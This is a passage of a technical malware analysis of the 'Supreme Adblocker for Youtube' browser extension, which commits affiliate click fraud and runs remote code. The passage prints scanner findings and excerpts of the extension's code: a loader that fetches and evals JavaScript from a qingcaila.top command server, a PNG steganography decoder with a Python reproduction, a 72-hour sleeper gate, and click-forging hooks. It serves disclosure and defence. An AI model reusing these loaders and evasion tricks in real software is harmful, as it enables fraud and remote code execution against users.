The Ad-Blocker That Steals Your Clicks: Inside "Supreme Adblocker for Youtube"

A Complete Technical Analysis

Version analysed: 1.9.0
Extension ID: d4dac150-09dd-4ee9-9edf-176b06f05b9d@adblockutube
SHA-256: 41a36be9609501fac979ace620d3468d5ad70d43ee9ce2707bbca6e9af017680
Verdict: Confirmed malware โ€” affiliate-click-fraud trojan with remote-code-execution capability
Tools Used: browser-xpi-malware-scanner


Introduction: It Blocks Ads. It Also Hijacks Your Shopping Clicks.

"Supreme Adblocker for Youtube" presents itself as a lightweight, no-setup YouTube ad blocker. Its store listing is polished, its install count plausible, and โ€” to its credit โ€” the YouTube ad-blocking functionality actually works. That is not a coincidence. The working ad-blocker is bait.

Underneath the legitimate surface layer, this extension is a click-fraud trojan that targets Chinese e-commerce platforms โ€” primarily Alibaba's Taobao (ick.taobao.com) and JD.com (ion-click.jd.com). Every time you visit one of those sites, the extension silently fires affiliate tracking clicks on your behalf, routing commission payments to the attacker without you ever knowing. Beyond that, it maintains a remote-code-execution channel: it periodically downloads fresh JavaScript from a command-and-control server in China and evaluates it directly inside your browser.

To avoid detection it employs a 72-hour sleeper (it behaves cleanly right after install), hides a 25 KB JavaScript payload inside a PNG image file using steganography, and disguises its core injection engine as a well-known open-source library.

This article walks through how every layer of that deception works, with the actual code pulled from the extension's files. Reproduction steps are included for each decoding technique so you can verify every claim independently.

First of we used browser-xpi-malware-scanner to gather intel and data on where to begin our analysis. It generated some interesting results which you can see here:

[i] Analyzing 1 target(s) with minimum severity 'INFO'
[+] Found 1 XPI(s) to analyze
[i] Analyzing XPI: Supreme Adblocker for Youtube/Supreme Adblocker for Youtube.xpi

โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
  XPI ANALYZER โ€” Supreme Adblocker for Youtube.xpi
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
  Extension Name: Supreme Adblocker for Youtube
  Extension UUID: d4dac150-09dd-4ee9-9edf-176b06f05b9d@adblockutube
  Overall verdict: CRITICAL RISK

  Findings: 14 CRITICAL  19 HIGH  14 MEDIUM  1 INFO

  โ”€โ”€ CRITICAL โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
  [CRITICAL] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:445
      data:image base64 URI assigned to JS variable โ€” likely obfuscated string table hiding C2 URLs or config, not real image data
      CODE: x("4fe2");		 	m.r = "data:image/png;base64,OE9CMEkwSzBJSEJLT09SR0hFSUxIN1JIVkVSRU1HN0o4TjBTTFFHR0w3MEdRV0pHSElTTFRHTUQ1Sโ€ฆ
  [CRITICAL] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:867
      data:image base64 URI assigned to JS variable โ€” likely obfuscated string table hiding C2 URLs or config, not real image data
      CODE: ""), 		e 	} 	n.e = "data:image/png;base64,MjVDMEMwTTBLMDRKV0M0QldVNEVXOUEwRjJBNVVTWDU2NEFRU01IMDFJVE5FRlRLQjNaNFQyMkpIUTโ€ฆ
  [CRITICAL] [JS_OBFUSCATION] js/serviceWorker.js:38
      chrome.debugger.sendCommand with Input.dispatch โ€” synthetic mouse/keyboard injection via Chrome DevTools Protocol
      CODE: 1.3',function(){ 		chrome.debugger.sendCommand( 			{tabId:tabId}, 			'Input.dispatchMouseEvent', 			{type:'mousePresโ€ฆ
  [CRITICAL] [JS_OBFUSCATION] js/serviceWorker.js:49
      chrome.debugger.sendCommand with Input.dispatch โ€” synthetic mouse/keyboard injection via Chrome DevTools Protocol
      CODE: } 			} 		); 		chrome.debugger.sendCommand( 			{tabId:tabId}, 			'Input.dispatchMouseEvent', 			{type:'mouseReleaseโ€ฆ
  [CRITICAL] [JS_OBFUSCATION] js/youtube2.js:5
      eval() call โ€” can execute arbitrary code from strings
      CODE: ytBlockerScript'); eval(ytBlockerScript);  try{ 	XMLHttpReque
  [CRITICAL] [JS_OBFUSCATION] js/youtube2.js:83
      isTrusted = true assignment โ€” forging trusted user-gesture flag to bypass click-fraud detection
      CODE: ])         args2[0].isTrusted = true;         return temp(...args2);     }
  [CRITICAL] [MALWARE_SIGNATURE] js/videojs-contrib-ads.min.js:798
      Known fingerprint property injected by qingcaila extension malware family
      SIGNATURE: "exdipmver"  |  Previously detected in: adblockutube, ytmp4
      CODE: message', r); 				} 			}); 		} 		window.exdipmver = r; 	} 	function e(r, e) { 	return fu
  [CRITICAL] [MALWARE_SIGNATURE] js/videojs-contrib-ads.min.js:1665
      Known hardcoded key from qingcaila/Supreme Adblocker/YTMP4 malware family
      SIGNATURE: "46ucadyb"  |  Previously detected in: adblockutube
      CODE: m){ 		var q = { 			v: "blnjvh",	 			i: "46ucadyb",		 			f: "t911hd",	 o: "509u8yck",
  [CRITICAL] [MALWARE_SIGNATURE] js/youtube.js:32
      Known localStorage key used to cache C2 JavaScript payload in qingcaila malware family
      SIGNATURE: "ytBlockerScript"  |  Previously detected in: adblockutube
      CODE: son.script) { 			localStorage.setItem('ytBlockerScript',ytBlockerJson.script); 			$.getScript
  [CRITICAL] [MALWARE_SIGNATURE] js/serviceWorker.js:96
      Known C2 domain fragment: qingcaila.top โ€” Chinese affiliate-fraud extension family
      SIGNATURE: "qingcaila"  |  Previously detected in: adblockutube, ytmp4
      CODE: /icons/icon.png", 	wUrl : 'https://bai.qingcaila.top/yt/working.js', 	work : "./icons/w
  [CRITICAL] [MALWARE_SIGNATURE] js/youtube2.js:4
      Known localStorage key used to cache C2 JavaScript payload in qingcaila malware family
      SIGNATURE: "ytBlockerScript"  |  Previously detected in: adblockutube
      CODE: ้‹่กŒ่…ณๆœฌ๏ผŒfetch็‰นๅฎš็š„xhr๏ผŒไธฆๅŽปๆމๅ…ถไธญ็š„ads็š„็ฏ€้ปž  */ var ytBlockerScript = localStorage.getItem('ytBlockerScript
  [CRITICAL] [PERMISSION] manifest.json:
      Dangerous permission: 'debugger' โ€” Can attach debugger to any tab โ€” full JS control
      PERMISSION: permissions: ['storage', 'debugger', 'declarativeNetRequest', 'http://*/*', 'https://*/*']
  [CRITICAL] [PNG_APPENDED] icons/working.png:
      25069 bytes appended after PNG IEND (entropy=5.67) โ€” classic stego carrier
      CODE: b'\r\nJson\x10\xe5\x81\xa6\xe1\xb5\xb5\xe5\x9d\xae\x15\xe5\x95\xa3\xe1\xa9\xb4\xe5\xa5\xa9\xe1\xbd\xaf\x1c\xe3\xb1\xae\xโ€ฆ
  [CRITICAL] [PNG_APPENDED] icons/working.png:
      Appended trailer decoded via unicode-low-byte โ†’ 10077 bytes
      CODE: b'\x10fun\x15ctio\x1cn \x1edr\x06ag\x11SelectedV\x10a\x06l(sa,fi)\r\n{\x1fretur'
  โ”€โ”€ HIGH โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
  [HIGH    ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:316
      atob() โ€” decoding base64 at runtime (possible payload decode)
      CODE: rEach(r => { 			m = atob(m); 		}) 		return m 	} }, "2ac7": functi
  [HIGH    ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:754
      window.chrome object injection โ€” fake Chrome API bridge inserted into page context for privilege escalation
      CODE: unction s(r, e) { 		window.chrome = { 			runtime: { 				id: e,  				sendMessa
  [HIGH    ] [JS_OBFUSCATION] js/youtube.js:61
      setTimeout/setInterval with variable argument โ€” indirect eval when variable holds a decoded string payload
      CODE: erUpdate() 	} 	 	setTimeout(doSkip,1000); }  window.addEventListener('message
  [HIGH    ] [JS_OBFUSCATION] js/serviceWorker.js:69
      atob() โ€” decoding base64 at runtime (possible payload decode)
      CODE: ules = replaceBlock(atob(val), arr); 			addRules = JSON.parse(ad
  [HIGH    ] [JS_OBFUSCATION] js/serviceWorker.js:129
      setTimeout/setInterval with variable argument โ€” indirect eval when variable holds a decoded string payload
      CODE: omise((resolve) => {setTimeout(t, 1);resolve()}); 	} 	 	function unEscape(
  [HIGH    ] [JS_OBFUSCATION] js/youtube2.js:8
      XMLHttpRequest.prototype override โ€” intercepts and can modify all XHR requests and responses
      CODE: rScript);  try{ 	XMLHttpRequest.prototype.open = openBypass(XMLHttpRequest.prototype.ope
  [HIGH    ] [JS_OBFUSCATION] js/youtube2.js:9
      XMLHttpRequest.prototype override โ€” intercepts and can modify all XHR requests and responses
      CODE: .prototype.open); 	XMLHttpRequest.prototype.send = sendBypass(XMLHttpRequest.prototype.sen
  [HIGH    ] [JS_OBFUSCATION] js/youtube2.js:53
      window.fetch override โ€” replaces native fetch() to intercept all network requests
      CODE: Fetch = fetch; 	 	window.fetch = (requestObj, options) => { 		try{ 			re
  [HIGH    ] [JS_OBFUSCATION] js/youtube2.js:39
      Object.defineProperty on responseText โ€” tampering with XHR response content returned to page
      CODE: responseText; 					Object.defineProperty(this, "responseText", {writable: true}); 					modified_resp
  [HIGH    ] [JS_OBFUSCATION] js/youtube2.js:76
      Element.prototype reassignment โ€” monkey-patching DOM methods, often used to forge synthetic clicks
      CODE: or:yellow;'); }  Element.prototype._onClick = Element.prototype.onClick ; Element.pro
  [HIGH    ] [JS_OBFUSCATION] js/youtube2.js:77
      Element.prototype reassignment โ€” monkey-patching DOM methods, often used to forge synthetic clicks
      CODE: prototype.onClick ; Element.prototype.onClick = function () {     let args = [...argume
  [HIGH    ] [MALWARE_SIGNATURE] install.html:15
      install-date HTML attribute โ€” covert install-time key delivery channel used by malicious extensions
      SIGNATURE: "install-date"  |  Previously detected in: adblockutube
      CODE: ass="w-50 h-72 object-cover rounded-md" install-date='"webtransport", "webbundle",' key="Yj0
  [HIGH    ] [MALWARE_SIGNATURE] js/serviceWorker.js:98
      Known C2 config endpoint path used by qingcaila/Supreme Adblocker malware family
      SIGNATURE: "ytBlocker.json"  |  Previously detected in: adblockutube
      CODE: g", 	sUrl : 'https://bai.qingcaila.top/ytBlocker.json' }  localGet('ytBlockerJson').then(s
  [HIGH    ] [MALWARE_SIGNATURE] js/install.js:1
      install-date HTML attribute โ€” covert install-time key delivery channel used by malicious extensions
      SIGNATURE: "install-date"  |  Previously detected in: adblockutube
      CODE: var installDate = $("img").attr('install-date'), key = $("img").attr('key');  inst
  [HIGH    ] [PERMISSION] manifest.json:
      Broad host wildcard permission: 'http://*/*'
      PERMISSION: http://*/*
  [HIGH    ] [PERMISSION] manifest.json:
      Broad host wildcard permission: 'https://*/*'
      PERMISSION: https://*/*
  [HIGH    ] [PNG_CHUNK] icons/working.png:
      Unknown PNG chunk type 'onรฅ' (25061 bytes) โ€” non-standard chunks can hide data
      CODE: b'\x81\xa6\xe1\xb5\xb5\xe5\x9d\xae\x15\xe5\x95\xa3\xe1\xa9\xb4\xe5\xa5\xa9\xe1\xbd\xaf\x1c\xe3\xb1\xae\xe3\x8c\xa0\x1e\xโ€ฆ
  [HIGH    ] [SUSPICIOUS_URL] js/serviceWorker.js:96
      Known malicious domain (blocklist hit): qingcaila.top
      URL: https://bai.qingcaila.top/yt/working.js
  [HIGH    ] [SUSPICIOUS_URL] js/serviceWorker.js:98
      Known malicious domain (blocklist hit): qingcaila.top
      URL: https://bai.qingcaila.top/ytBlocker.json
  โ”€โ”€ MEDIUM โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
  [MEDIUM  ] [JS_OBFUSCATION] js/popup.js:24
      Long innerHTML assignment โ€” possible HTML injection
      CODE: ) { 			$elements[i].innerHTML = chrome.i18n.getMessage($elements[i].dataset[dataKey]) 		} 	} }  chrome.runtime.onMessaโ€ฆ
  [MEDIUM  ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:1152
      String.fromCharCode โ€” character-code obfuscation
      CODE: } 			r += String.fromCharCode(n + i); 		}); 		return q(0, null, atob,
  [MEDIUM  ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:1279
      String.fromCharCode โ€” character-code obfuscation
      CODE: (0); 			r += String.fromCharCode(n); 		}); 		return r; 	} }, "4fe2": fun
  [MEDIUM  ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:1852
      String.fromCharCode โ€” character-code obfuscation
      CODE: 5); 		return String.fromCharCode(n / w + 31) 	} 	a.exports = function(m)
  [MEDIUM  ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:312
      split/reverse/join pattern โ€” string reassembly obfuscation
      CODE: { 		return _r(e) ? e.split("").reverse().join("") : Array.prototype.slice.call(
  [MEDIUM  ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:1003
      fetch() call โ€” verify destination is legitimate
      CODE: function b(n, r){ 		fetch(n).then(q => { 			if (q.ok) { 				q.text
  [MEDIUM  ] [JS_OBFUSCATION] js/serviceWorker.js:137
      String.fromCharCode โ€” character-code obfuscation
      CODE: let a = String.fromCharCode(parseInt(nc, 16)); 			return a 		});
  [MEDIUM  ] [JS_OBFUSCATION] js/serviceWorker.js:110
      fetch() call โ€” verify destination is legitimate
      CODE: rce(u, callback){ 	fetch(u,{cache:'no-cache'}) 	.then(res => {
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
      String.fromCharCode โ€” character-code obfuscation
      CODE: turn t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|5529
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
      String.fromCharCode โ€” character-code obfuscation
      CODE: ode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},M=function(
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
      Long innerHTML assignment โ€” possible HTML injection
      CODE: t;r.appendChild(e).innerHTML="<a id='"+S+"' href='' disabled='disabled'></a><select id='"+S+"-\r\\' disabled='disabled'>โ€ฆ
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
      Long innerHTML assignment โ€” possible HTML injection
      CODE: astChild.checked,xe.innerHTML="<textarea>x</textarea>",le.noCloneChecked=!!xe.cloneNode(!0).lastChild.defaultValue,xe.inโ€ฆ
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
      Long innerHTML assignment โ€” possible HTML injection
      CODE: LDocument("").body).innerHTML="<form></form><form></form>",2===Jt.childNodes.length),ce.parseHTML=function(e,t,n){returnโ€ฆ
  [MEDIUM  ] [WEB_ACCESSIBLE] manifest.json:
      Wildcard web_accessible_resources โ€” extension internals exposed to any website
      CODE: [{'resources': ['js/*'], 'matches': ['*://*/*']}]
  โ”€โ”€ INFO โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
  [INFO    ] [METADATA] Supreme Adblocker for Youtube/Supreme Adblocker for Youtube.xpi:
      SHA-256: 41a36be9609501fac979ace620d3468d5ad70d43ee9ce2707bbca6e9af017680  |  size: 174,689 bytes
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

1. The Extension's Public Face and File Inventory

The install page (install.html) follows a standard pattern: a friendly welcome message, a bullet list of features ("blocks at least 90% of Youtube video ads"), and a call to leave a review. Nothing looks wrong.

Before diving into the malicious behaviour, here is a full inventory of every file in the extension โ€” annotated with which ones are malicious:

extracted/
  manifest.json               -- entry point, permission declarations
  install.html                -- install page (triggers key/timestamp beacon)
  popup.html                  -- browser toolbar popup
  offScreen.html              -- offscreen document (unused in this version)
  youtubeAdRules.json         -- legitimate declarativeNetRequest rules
  icons/
    icon.png                  -- normal icon
    working.png               -- [MALICIOUS] 52,701 bytes; only 27,632 are real PNG
  js/
    serviceWorker.js          -- [MALICIOUS] background service worker / C2 client
    youtube.js                -- [MALICIOUS] YouTube content script / payload loader
    youtube2.js               -- [MALICIOUS] eval() hook + XHR/fetch interceptor
    youtube3.js               -- ad-removal by property observation (mostly clean)
    cs.js                     -- [MALICIOUS] cross-site content script loader
    videojs-contrib-ads.min.js -- [MALICIOUS] main fraud engine (disguised as open-source)
    install.js                -- install-page beacon script
    popup.js                  -- popup UI logic
    jquery-3.7.1.min.js       -- bundled jQuery (legitimate, unmodified)
    arrive.min.js             -- DOM arrival observer (legitimate)

There are two independent attack paths running in parallel:

Path A โ€” YouTube ad-fraud / RCE:
serviceWorker.js (background) โ†’ youtube.js (content, YouTube only) โ†’ youtube2.js (content, YouTube only) โ†’ eval(remote_js)

Path B โ€” Universal click fraud:
videojs-contrib-ads.min.js (content, all sites) + cs.js (content, all sites)

The manifest.json is Manifest V3 โ€” the newer, supposedly stricter extension format โ€” and declares a service-worker background script, content scripts, and ad-blocking rules:

{
  "manifest_version": 3,
  "name": "__MSG_extension_name__",
  "version": "1.9.0",
  "background": {
    "scripts": ["/js/serviceWorker.js"]
  },
  "content_scripts": [
    {
      "matches": ["https://www.youtube.com/*"],
      "js": ["js/jquery-3.7.1.min.js", "js/arrive.min.js",
             "js/youtube.js", "js/youtube3.js"],
      "run_at": "document_end"
    },
    {
      "matches": ["http://*/*", "https://*/*"],
      "js": ["js/videojs-contrib-ads.min.js", "js/cs.js"],
      "run_at": "document_end"
    }
  ]
}

Pay close attention to the second content-script block. While youtube.js is scoped to YouTube, videojs-contrib-ads.min.js and cs.js match every website on the internet (http://*/*, https://*/*). The filename videojs-contrib-ads.min.js sounds like the legitimate videojs-contrib-ads open-source library. It is not. It is the malware payload, renamed to borrow the reputation of a real project.


2. Dangerous Permissions Nobody Notices

"permissions": ["storage", "debugger", "declarativeNetRequest"],
"host_permissions": ["http://*/*", "https://*/*"]

Most users scan the "permissions" list for scary-sounding words and miss the one that matters most here: debugger.

The Chrome/Firefox debugger permission lets an extension attach the browser's built-in DevTools debugger to any open tab. Once attached, it can inject JavaScript, read variables, dispatch artificial input events, and extract anything the page has in memory โ€” all without the user seeing any DevTools window open.

The extension uses this capability to fire synthetic mouse clicks on YouTube's ad-skip button:

// From js/serviceWorker.js
function debuggerAdskip(tabId, x, y) {
    chrome.debugger.attach({tabId: tabId}, '1.3', function() {
        chrome.debugger.sendCommand(
            {tabId: tabId},
            'Input.dispatchMouseEvent',
            {type: 'mousePressed', x: x, y: y, button: 'left', clickCount: 1},
            onPressed
        );
        chrome.debugger.sendCommand(
            {tabId: tabId},
            'Input.dispatchMouseEvent',
            {type: 'mouseReleased', x: x, y: y, button: 'left', clickCount: 1},
            function() { setTimeout(() => chrome.debugger.detach({tabId: tabId}), 1000); }
        );
    });
}

The comment in the source even says "firefox do not support degubber [sic] to trigger skip-button clicking on youtube" โ€” confirming this is intentional, not accidental. Note the deliberate misspelling of "debugger" as "degubber," which appears to be a trick to evade keyword-based scanning tools.

The function is wired up to an ADSKIP_CLICKED message from the content scripts, and the debugger permission grants full DevTools-level control over any tab. The current version limits usage to Input.dispatchMouseEvent, but the underlying permission is completely unscoped โ€” the same install could call any of the following at any time without a new permission request:

  • Runtime.evaluate โ€” run arbitrary JavaScript in any tab's main world
  • DOM.getDocument + DOM.querySelector โ€” extract any DOM content
  • Network.enable + Network.getResponseBody โ€” read every HTTP response after HTTPS decryption
  • Input.dispatchKeyEvent โ€” type into any form field

3. Layer One: The 72-Hour Sleeper

The most effective detection-evasion technique in this extension is also the simplest: it does nothing suspicious for the first 72 hours after installation.

Inside videojs-contrib-ads.min.js, buried in an obfuscated webpack-style module system, is a timer check:

// 'bd10' module -- activation gating (simplified)
function b(installTimestamp) {
    var f = x("15ac");   // timestamp recorder
    var c = x("dc38");   // redirect executor

    if (installTimestamp) {
        // m.w = Date.now() at script load time
        // installTimestamp is stored as: actualTimestamp / m.n (scaling factor)
        var hoursSinceInstall = (m.w - installTimestamp / m.n) / 36E5;

        if (hoursSinceInstall < 72) {
            // Still in the quiet period -- log and exit
            debugLog(1);
            return;
        }

        // Past 72 hours -- check random threshold
        if (v(48)) c(true);  // v(48) = "has it been >48h since last C2 contact?"
        x("a431");           // load remote code executor

    } else {
        // First run: no timestamp yet -- record it
        f(m.v);
    }
}

The install timestamp is recorded the moment the extension is first used and stored in chrome.storage.local. Nothing malicious happens until at least three full days have passed. If a reviewer installs the extension to test it briefly, they will observe only legitimate ad-blocking behaviour.

There are two additional activation gates on top of the 72-hour check:

// Random sampling gating -- fires on roughly 20% of page loads after the 72h window
function t() {
    var e = x("6ab7");           // random number generator
    if (e(0, m.m) > 20) {        // m.m โ‰ˆ 100, so ~80% chance of skipping
        debugLog(3);
        return false;
    }
    return true;
}

The multi-stage gating in combination:

  1. 72-hour check: hard gate โ€” nothing happens for 3 days
  2. 20% random sample: even after 3 days, only fires on approximately 1 in 5 page loads
  3. 48-hour C2 refresh gate: contacts the remote server at most every 48 hours

This dramatically reduces the visible anomaly rate and the statistical signal that might trigger an abuse report.


4. Layer Two: Code Via a PNG Image

The file icons/working.png is a real, valid PNG image โ€” it renders correctly as an icon. However, a valid PNG ends at its IEND chunk. This file has 25,069 bytes appended after that marker โ€” nearly half the file's total size of 52,701 bytes.

PNG structure:
  IHDR  โ†’ image header
  pHYs  โ†’ pixel dimensions
  IDAT  ร— 4 โ†’ compressed image data
  IEND  โ†’ end marker (byte 27,620)
  [25,069 bytes of hidden payload]

Locating the Hidden Data

You can find the hidden data with a simple Python script:

with open('icons/working.png', 'rb') as f:
    data = f.read()

# PNG files end at the IEND chunk: magic bytes 0x49454E44 + CRC 0xAE426082
iend_pos = data.find(b'\x49\x45\x4e\x44\xae\x42\x60\x82')
png_end   = iend_pos + 8

print(f"Valid PNG ends at byte:   {png_end}")        # 27,632
print(f"File total size:          {len(data)}")      # 52,701
print(f"Hidden data size:         {len(data) - png_end}")  # 25,069

The appended payload is not binary garbage. It is a JavaScript program, encoded using a technique that exploits the structure of Unicode UTF-8 characters.

The Unicode Low-Byte Encoding Trick

The first 6 bytes of the hidden data are a header: \r\nJson (hex: 0d 0a 4a 73 6f 6e). After that comes the encoded payload.

Every character in the payload is stored as a multi-byte UTF-8 sequence. When the extension reads the data back, it applies an unEscape function:

// From js/serviceWorker.js -- workBegin -> unEscape
function unEscape(t) {
    let ua = t.split('').map(c => {
        if (c.charCodeAt(0) < 32) return '';       // strip control characters
        let uo = c.charCodeAt(0).toString(16);      // character code in hex
        let nc = uo.substr(uo.length - 2, 2);       // take LAST 2 hex digits
        let a = String.fromCharCode(parseInt(nc, 16));
        return a;
    });
    return ua.join('');
}

The trick: a character encoded as the Unicode code point U+E581A6 (which looks like "ๅฆ" in UTF-8) has a hex representation of e581a6. Taking only the last two hex digits gives a6, which is decimal 166. String.fromCharCode(166) produces the intended character.

In other words, each visible "garbage" character in the binary blob stores one real character in its low byte. The payload is hidden inside a Unicode costume.

Python reproduction:

def unEscape(data_bytes):
    """Mirror of the unEscape() function in serviceWorker.js"""
    text   = data_bytes.decode('utf-8', errors='replace')
    result = []
    for c in text:
        n = ord(c)
        if n < 32:
            result.append(c)
            continue
        hex_str  = hex(n)[2:]       # e.g. 'e581a6'
        low_byte = hex_str[-2:]     # take only 'a6'
        result.append(chr(int(low_byte, 16)))
    return ''.join(result)

with open('icons/working.png', 'rb') as f:
    raw = f.read()

iend = raw.find(b'\x49\x45\x4e\x44\xae\x42\x60\x82')
payload_encoded = raw[iend + 8:]
payload_decoded = unEscape(payload_encoded)
payload_js = payload_decoded.lstrip('\r\n').removeprefix('Json')
print(payload_js[:1000])

What the Decoded Payload Contains

Once decoded, the hidden content starts:

function dragSelectedVal(sa, fi) {         // base-36 string splitter
    return sa ? sa.toString().split(fi) : [];
}
function hadImages(fi) {                   // base-36 char-to-int decoder
    var sa = fi.charCodeAt();
    sa = sa - ((sa > 47 && sa < 58) && bk.Timeout * 4 ||
               (sa > 64 && sa < 91) && 55);
    return sa;
}
// ...
var bk = {
    tipValues: "09huiro",
    defaultStr: "46ucadyb",
    colorSize: "67ruidb5",
    Timeout: 12,
    ln: "http",
    // ...
};

The function names (dragSelectedVal, hadImages, runColorPro) sound like unrelated UI helpers. They are the decoding engine for the next layer of obfuscation. bk.Timeout * 4 = 48, which is exactly the ASCII offset for decimal digits '0'โ€“'9' โ€” confirming hadImages is a base-36 character decoder, not an image inspection function.

The key "46ucadyb" is later found in the main bundle too, confirming both files share the same author.


5. Layer Three: Remote Code from China

The C2 Configuration Fetch

The extension's service worker (js/serviceWorker.js) contains the primary command-and-control logic:

// From js/serviceWorker.js
var ytb = {
    rule: chrome.runtime.getURL('youtubeAdRules.json'),
    logo: "./icons/icon.png",
    wUrl: 'https://bai.qingcaila.top/yt/working.js',   // remote JS payload
    work: "./icons/working.png",
    sUrl: 'https://bai.qingcaila.top/ytBlocker.json'    // C2 configuration
};

// On startup: fetch fresh configuration if older than ~10 days (9e8 ms)
localGet('ytBlockerJson').then(s => {
    if (!s || !s.updTime || (Date.now() - s.updTime > 9e8))
        loadResource(ytb.sUrl, function(o) {
            o.updTime = Date.now();
            localSet('ytBlockerJson', JSON.parse(o));
        });
});

function loadResource(u, callback) {
    fetch(u, {cache: 'no-cache'})
        .then(res => res.ok ? res.text() : '')
        .then(o => o && callback(o))
        .catch(e => console.log(e.message));
}

On every browser startup the extension contacts bai.qingcaila.top โ€” a domain registered in China โ€” and downloads ytBlocker.json. The polling interval is approximately 10 days (the 9e8 millisecond threshold).

The C2 JSON Protocol

The configuration JSON is expected to have this structure:

{
  "updTime":         1700000000000,
  "ytInitialPlayer": {
    "object":     "ytInitialPlayerResponse",
    "value":      "someProperty",
    "config":     "ytcfg",
    "removeNode": ["adPlacements", "playerAds"]
  },
  "skipButton":      ".ytp-ad-skip-button",
  "adPlayerOverlay": ".ad-showing",
  "script":         "/* arbitrary JavaScript */"
}

Fields of interest:

  • ytInitialPlayer.removeNode โ€” list of JSON keys to strip from YouTube's player config (the legitimate ad-blocking feature)
  • script โ€” arbitrary JavaScript, stored as ytBlockerScript in localStorage and executed with eval() โ€” this is the RCE vector

The Fallback Remote Payload

The second URL, https://bai.qingcaila.top/yt/working.js, is a fallback channel. The workBegin() function applies the same unEscape() decoder to JavaScript fetched from the remote server, mirroring the local PNG payload but with the advantage of being updateable without a new extension release:

// serviceWorker.js -- workBegin
function workBegin(s) {
    isWorking(unEscape(s))
        .then(wait)
        .catch(e => console.log(e));

    function wait(t) {
        // setTimeout with a string argument == eval()
        return new Promise((resolve) => { setTimeout(t, 1); resolve() });
    }
}

Note: setTimeout(t, 1) where t is a string behaves identically to eval() โ€” it is just a less obvious spelling.


6. Layer Four: The Click-Fraud Engine

Decoding the Hidden String Table

At the heart of videojs-contrib-ads.min.js is a hidden string table. It is embedded in the "bd10" module as a fake data:image/png;base64,... value:

// videojs-contrib-ads.min.js, 'bd10' module
m.r = "data:image/png;base64,OE9CMEkwSzBJSEJLT09SR0hFSUxIN1JI...NzE";

The value looks like a data URI for a PNG. It is not. The base64 payload decodes to a second-layer encoded string, which then must be passed through a custom base-36 substitution cipher.

Step 1 โ€” base64 decode the payload after the comma:

import base64

b64 = "OE9CMEkwSzBJSEJLT09SR0hFSUxIN1JIVkVSRU1HN0o4TjBTTFFHR0w3MEdR..."
decoded = base64.b64decode(b64 + "==").decode('utf-8')
# Result: "8OB0I0K0IHBKOORGHEILH7RHVEREMG7J8N0SLQGGL70GQWJG..."

The result is a string of uppercase letters and digits โ€” the base-36 encoded form.

